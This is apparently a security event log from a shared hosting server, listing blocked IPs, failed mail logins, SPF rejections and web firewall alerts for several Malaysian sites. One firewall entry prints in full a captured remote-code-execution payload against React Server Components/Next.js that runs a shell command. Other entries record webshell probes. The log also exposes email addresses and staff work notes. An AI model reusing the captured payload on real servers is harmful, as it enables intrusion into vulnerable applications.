name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:44:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:45:14 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:47:18 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.231.88.27
country_id: 1861060
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/OPP Tape 1-1-120x120.JPG HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.231.88.27
country_id: 1861060
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/image/cache/catalog/OPP Tape 1-1-120x120.JPG HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 16:49:14 H=([104.37.174.67]) [104.37.174.67]:63867 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <info@cordage.com.my>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:49:39 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:50:45 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 16:52:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9715: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:52:50 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 15.237.119.0
country_id: 3017382
domain: mail.eminent.st
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('(whoami) 2>&1 || true',{'timeout':5000}).toString('base64');throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 16:54:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:15286: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:55:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.213.24.32
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-56.216.213.24.32||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:56:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:58:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.145
country_id: 732800
description:
Jan 27 17:00:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:00:45 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.50.219
country_id: 953987
description:
Jan 27 17:00:56 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.50.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:01:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.50.219
country_id: 953987
description:
Jan 27 17:01:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.50.219 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 117.40.103.119
country_id: 1814991
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.67||T:APACHE||MVN:REQUEST_FILENAME||MV:/data/common.inc.php.bak||User:pftfood||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.50.250.104
country_id: 6252001
description:
2026-01-27 17:03:02 H=([209.50.250.104]) [209.50.250.104]:56068 F=<fyamdfo@ktlog.com.my> rejected RCPT <inquiries@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:03:58 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 17:04:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63615: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:06:21 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:07:29 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.136.123.47
country_id: 1733045
description:
[2026-01-27 17:08:45 +0800] info [webmaild] 175.136.123.47 - roz@af-sb.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 17:09:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:09:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-27 17:10:39 H=([45.144.212.50]) [45.144.212.50]:60836 F=<akotzias@pilotms.com> rejected RCPT <mustapa@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from pilotms.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:11:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:13:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.124.251.29
country_id: 3658394
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=182180 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:15:10 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/demos/img/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 17:16:58 H=([104.37.174.67]) [104.37.174.67]:49428 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <info@pftfood.com>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:17:31 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/demos/img/img/clientele.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:18:38 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 17:20:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9721: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.25.132.93
country_id: 1269750
description:
Jan 27 17:20:39 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.25.132.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:20:43 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 172.58.242.72
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:17-21.172.58.242.72||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 17:22:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:15295: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.217.53.11
country_id: 1694008
domain: cordage.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:89239.cordage.com.my||ServerName:cordage.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6ba9c0ab90ab3c3cb30f1dcf813e47e591de1c71||Title:0x85feab16||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:23:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:24:12 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:26:17 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:28:38 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.67.152.201
country_id: 1269750
description:
Jan 27 17:28:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.67.152.201 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.67.152.201
country_id: 1269750
description:
2026-01-27 17:28:42 dovecot_login authenticator failed for H=([103.67.152.201]) [103.67.152.201]:34918: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.50.250.104
country_id: 6252001
description:
2026-01-27 17:28:01 H=([209.50.250.104]) [209.50.250.104]:59967 F=<keolrecu@symphony-led.com> rejected RCPT <enquiry@symphony-led.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.50.250.104
country_id: 6252001
description:
2026-01-27 17:29:34 H=([209.50.250.104]) [209.50.250.104]:63359 F=<tztlbw@smartcable.com.my> rejected RCPT <janice@smartcable.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:29:45 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">keyin supplies invoice - purchase invoices (ms kho to check)</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">open sales inv to pob jan'26 (gave ms kho to check - tomorrow)</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">stapler payment voucher , bank slip and supplies invoice for 22/1/2026</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">prepared payment today 27/1/26 (supplies and staff)</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">print bankslip 27/1/26 (ms kho to check)&nbsp;</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">save ambank new ambank template library</li>\r\n</ul>||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:31:50 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 17:32:39 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess2961289908/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 17:32:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63679: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.14.61.156
country_id: 298795
description:
Jan 27 17:33:38 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.14.61.156 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.96.199.198
country_id: 3865483
description:
Jan 27 17:33:58 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.96.199.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.25.132.93
country_id: 1269750
description:
Jan 27 17:33:21 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.25.132.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:34:12 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.130
country_id: 3469034
description:
Jan 27 17:34:49 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.96.199.198
country_id: 3865483
description:
Jan 27 17:34:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.96.199.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:35:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<p><strong><span style=\"text-decoration: underline;\">tuesday 27-jan-26</span></strong></p>\r\n<ul>\r\n<li>update tsb arrival worksheet.</li>\r\n<li>follow up with kk on form e for malaysia and ph order.</li>\r\n<li>preparing loi and checking k1.</li>\r\n<li>follow up payment advise with finance</li>\r\n<li>arrange send sample alfalfa to tpl</li>\r\n<li>update tpy import schedule - shipment kk and caltech delay to ealy february</li>\r\n<li>follow up us consol.</li>\r\n<li>follow up courier shipment for tpy</li>\r\n</ul>||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.188
country_id: 3469034
description:
Jan 27 17:35:51 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.130
country_id: 3469034
description:
Jan 27 17:35:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.39
country_id: 3175395
description:
Jan 27 17:35:10 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.39 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.68.184.155
country_id: 2017370
description:
Jan 27 17:36:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.68.184.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.68.184.155
country_id: 2017370
description:
2026-01-27 17:36:08 dovecot_plain authenticator failed for H=(exate) [109.68.184.155]:52769: 535 Incorrect authentication data (set_id=info@nmahir.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.188
country_id: 3469034
description:
Jan 27 17:36:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:37:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul>\r\n<li class=\"msolistparagraphcxspfirst\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span></span></span><!--[endif]-->updated daily collection report &amp; daily cash flow</li>\r\n<li class=\"msolistparagraphcxspmiddle\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span></span></span><!--[endif]-->posted assembly orders</li>\r\n<li class=\"msolistparagraphcxspmiddle\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span></span></span><!--[endif]-->do posting sales invoices &amp; filing sales invoice</li>\r\n<li class=\"msolistparagraphcxsplast\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span></span></span><!--[endif]-->do amended interco sales order feb c&rsquo;26 &amp; feb d&rsquo;26 for 18d</li>\r\n</ul>||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:39:45 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:40:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 93.170.211.17
country_id: 1512440
description:
2026-01-27 17:41:33 826370 [Warning] Aborted connection 826370 to db: 'unconnected' user: 'unauthenticated' host: '93.170.211.17' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.231.91.71
country_id: 3469034
description:
Jan 27 17:41:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.231.91.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:42:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:45:18 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.0.34.194
country_id: 3469034
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/training-details.php?id=243858 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:46:25 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.24.182.43
country_id: 1269750
description:
Jan 27 17:47:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.24.182.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:48:31 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:50:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:51:59 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.215.41.227
country_id: 630336
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/translation/Tests/fixtures/plurals.po HTTP/1.1||RSV:7.67||T:APACHE||


